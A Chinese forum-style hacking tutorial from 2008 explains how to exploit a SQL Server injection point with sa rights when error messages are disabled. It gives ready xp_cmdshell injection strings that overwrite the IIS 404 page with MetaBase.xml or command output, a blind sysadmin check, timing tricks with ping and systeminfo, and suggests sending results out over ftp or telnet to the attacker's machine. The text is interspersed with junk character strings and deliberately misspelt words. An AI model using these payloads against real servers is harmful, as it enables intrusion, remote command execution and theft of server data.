遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。
& A4 P( ^' n. o
/ f& q" S& i4 N* q X# _ 虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。
) w2 G% k, v. \# ^# L" u
2 _! K' @, i) F2 X0 U& U1 l8 u8 f 这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。$ ^; L2 _1 @: @' y9 q) h
+ g3 Z# B0 @: l6 q: \3 K
IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm
2 Y! C( x: u6 D. K; x) E! a
5 \! @7 ?6 R0 f/ a7 S6 K* ^ 得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--3 w7 z. m/ b+ m( ~% c- H m' E
4 U" g( P( V- F! D
,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。. O$ C% I; }8 D0 l
, {9 {5 v3 ?& o( o% l' W 执行命令得到回显. u! ~/ W. ^1 l, k5 ?
1 ~- A4 U; ~; x+ e6 e
通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--
$ x( K+ n2 v& J2 W
+ c, H5 }: u8 _* } g+ B# o9 O 得到文件也shi相同,把文件copy到404b.htm就行了: |) N3 `: j1 x; S7 s
6 `. L2 b9 K8 r1 Q. s9 h0 ]
by 28ice, 2008/6/26( J# O0 @; h1 W0 i% _
/ ~4 g8 O( L) ]* r0 O
摘自 28度的冰+ W5 T4 X) F) ^7 d+ b
1 q- R7 I! \7 Q/ D( P' b! n7 A 盲注判断权限和操作系统版本/ }$ }! n& }$ @6 H# r
, n1 ~, \7 q) _$ c
首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?
# k3 O: z! P' |8 a4 @0 w
9 X4 I5 Z7 N5 ~: `, c+ ^ j. b 最简单的,可能以用这样的方法:
9 f, q7 Q1 U" G
- _% `- ^; D% J' N4 s 1=(select IS_SRVROLEMEMBER(’sysadmin’))
0 r! E9 P5 M! ]: X
, L7 r+ e' q3 ^0 `- d4 R 当然,有些情况下,这个方法并不奏效。
9 Z2 }1 z+ [/ y o: R: v9 E3 n, o V2 ^9 i5 `
既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。! t: S3 ~" g+ F+ g% [, b; a7 x
# c- M8 z1 x; Q3 |) p) o* ^3 [
有个3办法可能以解决这个问题
3 F' r- T" h, T
3 }" c9 k% e% \, a' d a.把执行结果写到404b.htm,具体请看我的上一篇文章, j; L9 }, w: ?' X! s# }; D0 e
, v1 ^; n$ e' `! E) a
b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟
0 z; v& R! ~! B7 U/ d4 F5 F
* g0 O$ {1 Z$ p' d) m! m c.如果1433端口可能以连接,那干脆新建个sql登录
( @& \( D5 p1 R* _ v% ?+ H7 f8 `5 z1 z9 Z' b. V8 u" [$ F
d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数7 V7 a3 |, ^4 l. |2 g9 Y# y+ g& B
: P4 E% ]* p8 W; E5 x- N 还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下
1 }6 i& a& z7 Q E0 s( ~3 d
( `6 H2 Q/ m$ J- T6 N/ h6 x; N2 t) K 很简单
, h& g4 T1 ]& S4 ]/ N
% |/ p: I7 V2 F: ]; B t3 D 执行systeminfo
, Z/ y: @# G, J% B% c; X# w. h( H
在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |